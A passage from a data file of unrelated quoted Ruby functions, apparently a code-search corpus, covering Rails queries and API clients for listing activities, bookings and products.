a634.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a634.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a634.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a634.id, programme_id: $prog_amrc.id).first_or_create!\n \nend",
"def activities\n add_to_query restrict_kind: 'activity'\n end",
"def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end",
"def records_for_product(product)\n consumptionRecords.all(:product => product)\n end",
"def index_hot_activity(params)\n end",
"def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end",
"def search_activity\n case activity\n when \"voted\"\n query\n .includes(:votes)\n .where(decidim_opinions_opinion_votes: { decidim_author_id: @current_user })\n when \"my_opinions\"\n query\n .where.not(coauthorships_count: 0)\n .joins(:coauthorships)\n .where(decidim_coauthorships: { decidim_author_type: \"Decidim::UserBaseEntity\" })\n .where(decidim_coauthorships: { decidim_author_id: @current_user })\n else # Assume 'all'\n query\n end\n end",
"def activities(date)\n\n sql =<<-SQL\n select o_i.id, o_i.date, o_i.time, o_i.item_id, o_i.item_description, \n o_i.item_price_description,\n o_i.quantity, o_i.item_unit_cost, o_i.item_cost, o_i.item_price_type,\n o_i.comments, o_i.notes, o_i.customers_pickup_place,\n o.id as order_id, o.customer_name, o.customer_surname, o.customer_email,\n o.customer_phone, o.comments as order_comments,\n case o.status\n when 1 then 'pending_confirmation'\n when 2 then 'confirmed'\n when 3 then 'cancelled'\n end as status, \n a.capacity\n from orderds_order_items o_i\n join orderds_orders o on o.id = o_i.order_id\n join bookds_activities a on a.code = o_i.item_id\n where o.status NOT IN (3) and o_i.date = ? \n order by o_i.date, o_i.time, o_i.item_id, o.customer_surname, o.customer_name\n SQL\n\n orders = repository.adapter.select(sql, date)\n\n end",
"def frequent_activities()\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end",
"def frequent_activities\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end",
"def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end",
"def order_product(q)\n$LOG.info('order_product');\n@CID=q[\"USER\"];\n@PID=q[\"PRODUCT\"];\n@orders=get_orders_by_product(@PID)\n@orders[@CID]=DateTime.now \nend",
"def show\n @auction_promotion_activity_apply_products = Auction::PromotionActivityApplyProduct.active.where(:promotion_activity_apply_id => params[:id]).page(params[:page]).per(15)\n @auction_apply_logs = Auction::ApplyLog.where(:apply_id => params[:id])\n end",
"def show\n @auction_promotion_activity_apply_products = Auction::PromotionActivityApplyProduct.active.where(:promotion_activity_apply_id => params[:id]).page(params[:page]).per(15)\n @auction_apply_logs = Auction::ApplyLog.where(:apply_id => params[:id])\n end",
"def activity\n\n params = fields_hash[\"params\"]\n return nil unless params\n params[\"activity\"]\n end",
"def activity\n\n params = fields_hash[\"params\"]\n return nil unless params\n params[\"activity\"]\n end",
"def activities\n get_call(\"1/activities.json\")\n end",
"def collect_keys(activities)\n activities.first.keys\nend",
"def activities(start = 0, limit = 100)\n redis.call 'LRANGE', key[:activities], start, start + limit\n end",
"def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end",
"def current_activities\n ids = self.activities.pluck(:id) + ActivitySequence.where(strategy_id: self.id).pluck(:current_activity_id)\n if (ids.size > 0)\n ids.delete(nil) # hack for now\n Activity.where( \"id in (#{ids.join(',')})\")\n else \n Activity.where(\"1=0\") # hack to return empty AR relation. \n end\n end",
"def hash\n [activity_id, blueprint_id, blueprint_location_id, blueprint_type_id, completed_character_id, completed_date, cost, duration, end_date, facility_id, installer_id, job_id, licensed_runs, output_location_id, pause_date, probability, product_type_id, runs, start_date, station_id, status, successful_runs].hash\n end",
"def programmed_activities_plus_pending(date_from, date_to)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, CAST (oi.status as UNSIGNED) as status,\n oi.item_description, sum(oi.quantity) as occupation,\n a.schedule_color, a.duration_days, a.duration_hours\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (1,2) and oi.date >= ? and oi.date <= ?\n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, oi.item_description, a.schedule_color, a.duration_days, a.duration_hours, oi.status\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n activities = repository.adapter.select(sql, date_from, date_to).inject([]) do |result, value|\n index = result.index { |x| x.date == value.date and x.time == value.time and\n x.date_to == value.date_to and x.time_to == value.time_to and\n x.item_id == value.item_id and x.schedule_color == value.schedule_color and\n x.duration_days == value.duration_days and x.duration_hours == value.duration_hours\n }\n if index\n if value.status == 1\n result[index].pending_confirmation = value.occupation\n elsif value.status == 2\n result[index].confirmed = value.occupation\n end\n else \n data = {date: value.date,\n time: value.time,\n date_to: value.date_to,\n time_to: value.time_to,\n item_id: value.item_id,\n item_description: value.item_description,\n schedule_color: value.schedule_color,\n duration_days: value.duration_days,\n duration_hours: value.duration_hours,\n pending_confirmation: (value.status == 1 ? value.occupation : 0),\n confirmed: (value.status == 2 ? value.occupation : 0),\n }\n result << OpenStruct.new(data)\n end \n result\n end\n\n\n\n end",
"def programmed_activities(date_from, date_to)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description, sum(oi.quantity) as occupation,\n a.schedule_color, a.duration_days, a.duration_hours\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (2) and oi.date >= ? and oi.date <= ?\n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, oi.item_description, a.schedule_color, a.duration_days, a.duration_hours\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n programmed_activities = repository.adapter.select(sql, date_from, date_to) \n\n end",
"def activities(per_page: nil, page: nil)\n if page || per_page\n get_activities(per_page: per_page, page: page)\n else\n get_activities if @activities.empty?\n @activities.values\n end\n end",
"def build_activity_oid_map()\n activity_object_ids = {}\n activities = @primavera.get_activities(P6_PROJECT_ID)\n activities.each do |activity|\n activity_object_ids[activity[:id]] = activity[:object_id]\n end\n activity_object_ids\nend",
"def get_petition_related_activities\n get_new_petitions\n get_petition_signatures_activity\n end",
"def objects\n\t\t\t\tparams=self.field_hash[:params]\n\t\t\t\tret=[]\n\t\t\t\tunless params.nil?\n\t\t\t\t\tactivity=params[:activity]\n\t\t\t\t\tparams.delete(:activity)\n\t\t\t\t\tret = {:act => activity, :obj => params.values}\n\t\t\t\tend\n\t\t\t\tret\n\t\t\tend",
"def user_activity_params\n params.require(:user_activity).permit(:customer_id, :product_id, :item_desc, :act_date, :amount, :discount, :comments,:count, :act_type)\n end",
"def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end",
"def activity\n PublicActivity::Activity\n .includes(:owner, :trackable, post: [:author, :images, :graetzl, :comments], meeting: [:address, :graetzl, :comments])\n .select('DISTINCT ON(trackable_id, trackable_type) *')\n .where(key: STREAM_ACTIVITY_KEYS)\n .where(\"(owner_id IN (?) AND owner_type = 'User')\n OR\n (trackable_id IN (?) AND trackable_type = 'Meeting')\n OR\n (trackable_id IN (?) AND trackable_type = 'Post')\", users.pluck(:id), meetings.pluck(:id), posts.pluck(:id))\n .order(:trackable_id, :trackable_type, created_at: :desc)\n .sort_by(&:created_at).reverse\n end",
"def get_petition_signatures_activity\n @petition_signatures_activity = PetitionSignature.where(created_at: time_range).order('created_at ASC')\n @grouped_petition_signatures_activity = @petition_signatures_activity.group_by(&:petition_id).map{|k,v| [k,v]}\n end",
"def activity_params\n params.fetch(:activity, {})\n end",
"def public_programmed_activities(date_from)\n\n sql = <<-SQL\n select oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description, sum(oi.quantity) as occupation\n from orderds_orders o\n join orderds_order_items oi on oi.order_id = o.id\n join bookds_activities a on a.code = oi.item_id\n where o.status in (2) and oi.date > ? \n group by oi.date, oi.time, oi.date_to, oi.time_to, oi.item_id, \n oi.item_description\n order by oi.date asc, oi.time asc, oi.item_id\n SQL\n\n programmed_activities = repository.adapter.select(sql, date_from) \n\n\n end",
"def create_activity\n player = Player.find_or_create_by(email:req_params[:email])\n project = Project.find_by(name:req_params[:project])\n event = req_params[:event]\n count = req_params[:count]\n @activity = Activity.get_activity_type(player,event,project,count)\n\n end",
"def index\n @supplier_promotion_activity_applies = Auction::PromotionActivityApply.where(:provider_id => current_user.id).active.ransack(params[:q]).result.includes(:promotion_activity).page(params[:page]).per(15)\n end",
"def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end",
"def fetch_transactions_for(product, start_date: Date.today - 1.month, end_date: Date.today)\n product.fetch_transactions_for(self, start_date: start_date, end_date: end_date)\n end",
"def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end",
"def non_first_time_user_feed products\n #generate raking based on the search, bookmarks and feedback \n searches = @user.searches.limit(3)\n feedbacks = @user.feedbacks\n bookmarks = @user.bookmarks\n results = Hash.new\n products.each do |product|\n score = product.internal_score\n bookmarks.each do |bookmark|\n if bookmark.product_id == product.id\n score += 2 #bookmarked products should be on top.\n end\n end\n feedbacks.each do |feedback|\n if feedback.product_id == product.id\n score += (feedback.rating - 3) #considering 3 rating as average\n elsif feedback.product.sub_category_id == product.sub_category_id\n score += (3 - feedback.rating) #For postive feedback user might not want to see other products in that sub_category at top, for negative feedback reverse\n end \n end\n searches.each do |search|\n if search.searchable_type == 'Product'\n if search.searchable_id == product.id\n score += 2 #latest search products at top\n end\n else\n if search.searchable_id == product.sub_category_id\n score += 1 #latest serach subcategory products at top\n end\n end\n end\n results[score] = results.key?(score) ? results[score] + [product] : [product]\n end\n results = results.sort.reverse.to_h\n result_array = Array.new\n results.each do |key, value| \n result_array += value\n end\n result_array\n end",
"def activities(params = {})\n scope 'default'\n get('activities/', params)\n end",
"def index\n @recommendations = current_user.recommendations.sort_by(&:created_at).reverse!\n recommendations_ids = @recommendations.collect(&:id)\n\n @provider_logos = AmazonS3.instance.provider_logos_hash_for_recommendations(@recommendations)\n @profile_pictures = User.author_profile_images_hash_for_recommendations(@recommendations)\n\n @activities = PublicActivity::Activity.order(Arel.sql('created_at desc')).where(trackable_id: recommendations_ids, trackable_type: 'Recommendation', owner_id: current_user.connected_users_ids)\n @activity_courses = {}\n @activity_courses_bookmarked = {}\n return unless @activities\n\n @activities.each do |activity|\n if activity.user_ids.present? && (activity.user_ids.include? current_user.id)\n @activity_courses[activity.id] = Recommendation.find(activity.trackable_id).course\n @activity_courses_bookmarked[activity.id] = @activity_courses[activity.id].bookmarked_by_user? current_user if @activity_courses[activity.id].present?\n else\n @activities -= [activity]\n end\n end\n end",
"def activities_xml(time = nil, filter = nil)\n timestamp = time ? time.to_gnip_bucket_id : 'current'\n if filter\n _name, _endpoint = filter.name, \"#{self.uri}/#{filter.path}/activity/#{timestamp}.xml\"\n else\n _name, _endpoint = self.name, \"#{self.uri}/activity/#{timestamp}.xml\"\n end\n log_action(_name, time, timestamp)\n response, activities_xml = fetch(_endpoint)\n end",
"def products_cache_key\n [\n Product.count,\n Product.order(\"updated_at DESC\").first\n ]\n end",
"def get_latest_activity_paged(reference_index, page = 1, page_size = 10)\n return nil unless activity_count > 0\n start_index = reference_index - (page * page_size)\n start_index += page_size if start_index <= 0\n end_index = start_index - (page * page_size) + 1\n end_index = 1 if end_index < 1\n\n # generate list of keys for the activity range (i.e. latest 10)\n keys = []\n start_index.downto(end_index) do |i|\n keys.push(DOCS[:latest_activity_stub] + i.to_s)\n end\n\n Rails.logger.debug(intense_red(\"activity: #{start_index}..#{end_index}\"))\n\n # retrieve the all activity documents in one call\n activity_docs = DocumentStore.get_documents(keys)\n\n Rails.logger.debug(intense_red(activity_docs.inspect))\n # now take all the uid's from activities and create an array of uid's\n keys = []\n activity_docs.each do |activity|\n keys.push(activity[:uid])\n end\n\n # load the users into an array\n users = get_multiple_users_by_uid(keys)\n\n # finally, combine the users into the activity docs and the item_indexes based on page\n # i'm using the index with activity_docs to avoid confusion,\n # I could also use \"activity\" in the do loop: activity[:user] = users[i]\n activity_docs.each_with_index do |activity, i|\n activity_docs[i][:item_index] = (page * i) + i # page_size == 10 : page = 1 => 1, 2, 3,... page = 2 => 10, 11, 12\n activity_docs[i][:user] = users[i]\n end\n\n activity_docs\n end",
"def index\n @products = []\n @@this_week.each_with_index do |id,index|\n puts \"#{id}\"\n @products[index] = Product.find(id)\n end\n if member_signed_in?\n @order = Order.create(:member => @current_member,\n :cheap_beer => @count_cheap,\n :class_beer => @count_class)\n else\n @order = Order.create(:cheap_beer => @count_cheap,\n :class_beer => @count_class)\n end\n end",
"def process_today_activities\n i=0\n while i < 10\n item = {name: today_activities[i][:title], value: i+1.to_i} \n \n @processed_today << item\n \n i += 1 \n end \n \n end",
"def index\n @scans = current_user.scans.order(created_at: :desc)#.where(:product_name.distinct)\n end",
"def show\n @products = @customer.products.active.paginate(page: params[:page], per_page: Product.per_page) unless @customer.nil?\n # follow activity on pages\n # we keep track of the current customer in impressions\n @current_user = current_customer\n impressionist(@customer)\n end",
"def get_enterable_products\n return call('Product.get_enterable_products')\n end",
"def index\n today_as_datetime = date_to_datetime(Date.today)\n\n unless params[:section]\n @products = Product.all\n else\n tommorow_as_datetime = date_to_datetime(Date.today + 1)\n if params[:section] == \"today\"\n # @products = Product.where(event_start_at: today_as_datetime...tommorow_as_datetime)\n @products = Product.where(\"products.event_start_at >= ? AND products.event_start_at < ? AND products.show = ?\", today_as_datetime, tommorow_as_datetime, true)\n elsif params[:section] == \"not_today\"\n unless params[:search].blank?\n @products = Product.search(params[:search]).where(\"products.event_start_at < ? AND products.show = ?\", today_as_datetime, true)\n else\n @products = Product.where(\"products.event_start_at < ? AND products.show = ?\", today_as_datetime, true)\n end\n elsif params[:section] == \"hot\"\n # if hot is checked\n @products = Product.where(hot: true)\n else\n # elsif params[:section] == \"not_hot\"\n unless params[:search].blank?\n @products = Product.search(params[:search]).where(\"products.event_end_at >= ? AND products.hot = ? AND products.show = ?\", today_as_datetime, false, true)\n else\n @products = Product.where(\"products.event_end_at >= ? AND products.hot = ? AND products.show = ?\", today_as_datetime, false, true)\n end\n end\n end\n\n # TODO: 쿼리를 최적화 해야함\n if params[:department]\n hospital_ids = Hospital.where(department: params[:department]).map(&:_id)\n tmp_products = Product.where(hospital_id: hospital_ids)\n @products &= tmp_products\n end\n\n @products = @products.sort_by { |t| [ !t[:event_end_at].blank? && (t[:event_end_at] < today_as_datetime) ? 1 : 0, -t[:read_count], t[:id]] }\n\n if params[:udid]\n if user = User.where(udid: params[:udid]).first\n favorite_ids = user.products.map(&:_id)\n tmp_products = @products\n @products = tmp_products.map do |p|\n if favorite_ids.include?(p._id)\n p[:favorited] = true\n p\n else\n p\n end\n end\n end\n end\n\n if params[:page]\n @products = @products.paginate(page: params[:page], per_page: params[:per_page] ? params[:per_page] : 20)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:\n params[:page] ?\n {products: @products, current_page: params[:page].to_i, total_page: @products.total_pages} :\n {products: @products}\n }\n end\n end",
"def set_activities_for_pagination\n \n end",
"def action_list_product_ft(input)\n response = do_list_product(input[:Content],1)\n #persist user request\n log_use_request {|request|\n request.lastaction = RequestAction::ACTION_PROD_LIST_FT\n request.lastpage = 1\n }\n response\n end",
"def all_activities\n if user.present?\n Activity.where('(activity_owner_id = :activity_owner_id and activity_owner_type = :activity_owner_type) or user_id = :user_id',\n activity_owner_id: id, activity_owner_type: self.class.name, user_id: user.id).order(created_at: :desc)\n else\n activities\n end\n end",
"def products\n @products ||= begin\n items = []\n\n for i in (1..params[\"NumItens\"].to_i)\n items << {\n :id => params[\"ProdID_#{i}\"],\n :description => params[\"ProdDescricao_#{i}\"],\n :quantity => params[\"ProdQuantidade_#{i}\"].to_i,\n :price => to_price(params[\"ProdValor_#{i}\"]),\n :shipping => to_price(params[\"ProdFrete_#{i}\"]),\n :fees => to_price(params[\"ProdExtras_#{i}\"])\n }\n end\n\n items\n end\n end",
"def action_list_more(input)\n # check whether last five mins search product or promotion success\n utoken = input[:FromUserName]\n lastrequest = UserRequest.where(\"utoken=:token AND updated_at>:validatetime AND lastaction IN (:product_ft_search,:promotion_ft_search)\",{\n :token=>utoken,\n :validatetime => Time.now-5.minutes,\n :product_ft_search => RequestAction::ACTION_PROD_LIST_FT,\n :promotion_ft_search => RequestAction::ACTION_PRO_LIST_FT\n }).first\n return build_response_text_temp {|msg|\n msg.Content=t :noproductsearchhistory\n } if lastrequest.nil?\n lastpage = lastrequest[:lastpage]\n lastmsg = JSON.parse(lastrequest[:msg])\n if lastrequest[:lastaction] == RequestAction::ACTION_PROD_LIST_FT\n # do more search for product\n response = do_list_product(lastmsg[\"Content\"],lastpage+1)\n else\n # do more search for promotion\n response = do_list_promotion lastmsg,lastpage+1\n end\n #persist user request\n lastrequest.lastpage = lastpage % 1000+1\n lastrequest.save\n response\n end",
"def get_filtered_activities(filter, time)\n activities(time, filter)\n end",
"def activity_detail(date, time, item_id)\n\n sql =<<-SQL\n select o_i.id, o_i.date, o_i.time, o_i.item_id, o_i.item_description, \n o_i.item_price_description,\n o_i.quantity, o_i.item_unit_cost, o_i.item_cost, o_i.item_price_type,\n o_i.comments, o_i.notes, o_i.custom_customers_pickup_place, o_i.customers_pickup_place,\n o.id as order_id, o.customer_name, o.customer_surname, o.customer_email,\n o.customer_phone, o.comments as order_comments,\n case o.status\n when 1 then 'pending_confirmation'\n when 2 then 'confirmed'\n when 3 then 'cancelled'\n end as status,\n a.capacity\n from orderds_order_items o_i\n join orderds_orders o on o.id = o_i.order_id\n join bookds_activities a on a.code = o_i.item_id\n where o_i.date = ? and o_i.time = ? and o_i.item_id = ? and o.status not in (3)\n order by o_i.date, o_i.time, o_i.item_id, o.customer_surname, o.customer_name\n SQL\n\n orders = repository.adapter.select(sql, date, time, item_id)\n \n return orders\n\n end",
"def show\n @activity = Activity.find(params[:id])\n @product_item = ProductItem.new({\n :price => @activity.price,\n :amount => 1,\n :title => @activity.description,\n :product_id => @activity.product_id\n })\n\n respond_to do |format|\n format.html # show.html.erb\n format.js { render \"activities/show\" }\n format.dialog { render \"show.dialog\", :layout => false }\n format.json {\n render json: @activity.as_json.merge(liked: @activity.likes.exists?(current_user))\n }\n end\n end",
"def product_analysis\n @start_time = (params[:start_time].to_time rescue nil) || 1.month.ago\n @end_time = (params[:end_time].to_time rescue nil) || 1.second.ago\n @product_data = product_data(@start_time, @end_time) rescue []\n end",
"def index\n @user = current_user\n @activities = Activity.where({processed: 1, user_id: current_user.id}).order('activity_date')\n #@new_activities = Activity.where({processed: 0, user_id: current_user.id}).order('activity_date')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activities }\n end\n end",
"def productivity\n add_to_query restrict_kind: 'productivity'\n end",
"def activities\n @limit = get_limit\n @offset = get_offset(params)\n if !params[:keyword].nil?\n @results_count = Activity.count(:conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }])\n @activities = Activity.find(:all,\n :conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }],\n :limit => @limit,\n :offset => @offset)\n end\n @results_pages = @results_count.fdiv(@limit)\n respond_to do |format|\n format.html { render \"manage/activities/index\" }\n format.xml { render :xml => @activities }\n end\n end",
"def find_recommendations (grouping_type, store, products, start_date, end_date, directory)\n before = Time.now\n \n recommended = get_all_accessories(store,products,start_date,end_date,directory)\n\n # Sorts the accessories into categories, then stores the data in the manner dictated above\n recommended.each_pair do |sku,recommendations| \n product_id = get_id(sku,:main,store)\n \n # Get presence numbers and top n products for each product_type (sorting part)\n acc_cats = {}\n count = 0\n p \"Sorting recommendations for #{sku}\"\n recommendations.sort_by{|sku,sales| sales}.reverse.each do |sku|\n acc_sku = sku[0]\n sales = sku[1]\n begin\n cat_id = get_id(acc_sku,:category,store)\n if acc_cats.key?(cat_id)\n acc_cats[cat_id][0] += sales # Add the number of sales this item has to the product_type total\n acc_cats[cat_id][1].store(acc_sku,sales)\n else\n acc_cats[cat_id] = [sales,{acc_sku=>sales}]\n end\n count += sales # The total sales of all categories (not used for table)\n rescue\n p \"Product #{acc_sku} does not exist in the database\" # When database is filled this should rarely be an issue\n end\n end\n \n # Saving part\n case grouping_type\n # Writes data to accessories table (each accessory has sales numbers linked to main product)\n when \"table\"\n write_to_acc_table(sku,recommendations,acc_cats,store)\n # Writes data to text_specs table -> data is hardcoded -> need to run task again to change it\n when \"fixed_categories\",\"numerical\"\n # Add top n purchased accessories to string\n text = \"Top #{ACCESSORIES_PER_PRODUCT_TYPE}~#{count}~\"\n recommendations.sort_by{|sku,sales| sales}.reverse.first(ACCESSORIES_PER_PRODUCT_TYPE).each do |product|\n sku = product[0]\n sales = product[1]\n text += sku.to_s+\"~\"+sales.to_s+\"~\"\n end\n case grouping_type\n when \"fixed_categories\"\n text += preset_acc_select(acc_cats)\n when \"numerical\"\n text += numerical_acc_select(acc_cats)\n end\n # Write text string to text spec table\n row = TextSpec.find_or_initialize_by_product_id_and_name(product_id,\"top_copurchases\")\n row.update_attributes(:value => text)\n end\n end\n\n after = Time.now\n p \"Time taken for task: \"+(after-before).to_s\nend",
"def search_for_products_modified(n = 1000)\n if n > Product.count\n puts puts \"Number of queries requested was greater than number of product records, using maximum number\"\n n = Product.count\n end\n\n disable_activerecord_sql_logging()\n keywords_arrays = ALL_BRANDS.map { |brand| brand.split(\" \") }\n keywords_arrays = Product.all.pluck(:name).shuffle.take(n).map { |name| name.downcase.split(\" \") }\n keywords_arrays = keywords_arrays.map { |kw_arr| kw_arr.take(rand(5..kw_arr.length)) }\n\n puts \"\\nBenchmark for performing #{n} queries:\"\n puts \"Sample query: #{keywords_arrays.first}\", \"\"\n\n benchmark_block(keywords_arrays)\n\n enable_activerecord_sql_logging()\nend",
"def get_activities_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.get_activities ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_template'] = opts[:'filter_template'] if !opts[:'filter_template'].nil?\n query_params[:'filter_name'] = opts[:'filter_name'] if !opts[:'filter_name'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceBareActivityResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#get_activities\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def activity\n act = []\n\n tables.each do |table|\n act << {\n table: table.name,\n stats: [\n {\n action: 'INSERTs',\n value: db.query(\"SELECT COUNT(*) AS CNT FROM #{table.audit} WHERE `_copied_at` >= #{cutoff.to_i}\").to_a[0]['CNT']\n },\n {\n action: 'DELETEs',\n value: db.query(\"SELECT COUNT(*) AS CNT FROM #{table.audit} WHERE `_deleted_at` >= #{cutoff.to_i}\").to_a[0]['CNT']\n },\n {\n action: 'UPDATEs',\n value: db.query(\"SELECT COUNT(*) AS CNT FROM #{table.audit} WHERE `_copied_at` < #{cutoff.to_i} AND _last_version >= #{cutoff.to_i}\").to_a[0]['CNT']\n },\n {\n action: 'Violations',\n value: db.query(\"SELECT COUNT(*) AS CNT FROM `#{audit_db}`._rule_violations WHERE `audited_table` = '#{table.name}' AND `stamp` > #{cutoff.to_i}\").to_a[0]['CNT']\n }\n ]\n }\n end\n\n act\n end",
"def expose_selections\n params[:attendee] ||= {} # TODO: not sure we need this\n params[:activity_ids] ||= []\n @activity_selections = params[:activity_ids].map(&:to_i)\n @plan_selections = Registration::PlanSelection.parse_params(params['plans'], all_plans)\n end",
"def activity_params\n params[:activity]\n end",
"def activity_params\n params[:activity]\n end",
"def activities\n activities = [];all_activities = []\n all_activities << RedemptionLog.user_activities(self)\n all_activities << FeedbackLog.user_activities(self)\n sorted_activities = all_activities.flatten.compact.sort_by!{|activity| activity.updated_at }.reverse\n sorted_activities.each do |activity|\n activities << {points: activity.points, outlet_id: activity.outlet_id, outlet_name: activity.outlet_name,\n type: activity.class.name.gsub(/Log/i,''), updated_at: activity.updated_at}\n end\n activities\n end",
"def activity_log\n @identifier = Identifier.find(params[:id])\n created_at = SortableTable::SortColumnDefinition.new('created_at')\n sort_table = SortableTable::SortTable.new([created_at])\n @sort_column = sort_table.sort_column(params[:sort], params[:direction])\n @curation_activities = @identifier.curation_activities.order(@sort_column.order)\n end",
"def activities_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.activities_get ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'user_id'] = opts[:'user_id'] if !opts[:'user_id'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'type'] = opts[:'type'] if !opts[:'type'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'start_date'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'end_date'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n query_params[:'done'] = opts[:'done'] if !opts[:'done'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#activities_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end",
"def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end",
"def impressions_list(products)\n Impression.where(impressionable_type: 'Product', impressionable_id: products)\n end",
"def all_products\n params = { page: 0 }\n products = []\n loop do\n params[:page] += 1\n uri = create_uri(SHOPICRUIT_URL, params)\n response_body = make_get_request(uri)\n current_products = response_body.nil? ? [] : JSON.parse(response_body)[PRODUCTS_FIELD]\n products.concat(current_products)\n break if current_products.empty?\n end\n products\nend",
"def create\n Activity.for_user(current_user).active.each do |a|\n a.end = Time.now\n a.save\n end\n\n @activity = Activity.new(params.permit(:description))\n @activity.user = current_user\n @activity.start = Time.now\n @activity.save!\n\n render json: @activity\n end",
"def new_search_data\n # for now these are the same\n activity_search_data\n end",
"def all\n @products = Product.get_list_active_products.page(params[:page]).per(10)\n if @products.present?\n @products\n else\n @object = 'product'\n render \"api/v1/errors/404\", status: 401\n end\n end",
"def activities_request(url_parameters)\n activities = []\n\n url = 'history/activity'\n\n while url\n request_result = history_request url: url, api_version: API_V3, url_parameters: url_parameters\n activities += @dealing_platform.instantiate_models(Activity, request_result.fetch(:activities))\n\n url = request_result.fetch(:metadata).fetch(:paging).fetch(:next)\n url_parameters = {}\n end\n\n activities\n end",
"def get_selectable_products\n return call('Product.get_selectable_products')\n end",
